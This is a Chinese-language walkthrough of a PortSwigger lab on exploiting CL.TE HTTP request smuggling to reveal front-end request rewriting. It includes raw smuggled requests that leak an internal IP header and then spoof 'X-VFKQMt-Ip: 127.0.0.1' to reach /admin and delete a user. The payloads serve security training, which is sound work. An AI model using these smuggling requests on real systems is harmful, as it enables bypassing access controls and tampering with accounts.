从业者-利用请求走私-披露前端请求重写
# 实验室:利用HTTP请求走私来披露前端请求重写
# 题目
此实验室涉及前端和后端服务器,前端服务器不支持分块编码。
在路径/admin
中有一个管理面板,但只有 IP 地址为127.0.0.1
的用户才能访问。前端服务器将 HTTP 标头添加到包含其 IP 地址的传入请求中。该标头类似于X-Forwarded-For
标头,但名称不同。
若要解决实验室问题,请先走私一个请求到后端服务器,该请求显示前端服务器添加的标头。然后,再向后端服务器走私一个包含指定标头的请求,访问管理面板并删除carlos
用户。
笔记
尽管实验室支持 HTTP/2,但预期的解决方案需要依靠 HTTP/1 中的可用技术。你可以在 Burp Repeater 的面板 “Inspector > Request attributes” 部分手动切换协议。
提示
在请求走私攻击中,手动修复长度字段可能很棘手。我们的 Burp 扩展 HTTP Request Smuggler (opens new window) 可以提供这方面的帮助。你可以通过 BApp Store 安装它。
- name: 实验室-从业者
desc: 利用HTTP请求走私来披露前端请求重写 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
POST / HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
X-VFKQMt-Ip
X-VFKQMt-Ip
POST / HTTP/1.1
Host: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-VFKQMt-Ip: 127.0.0.1
Content-Length: 100
x=
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
/admin/delete?username=carlos
编辑 (opens new window)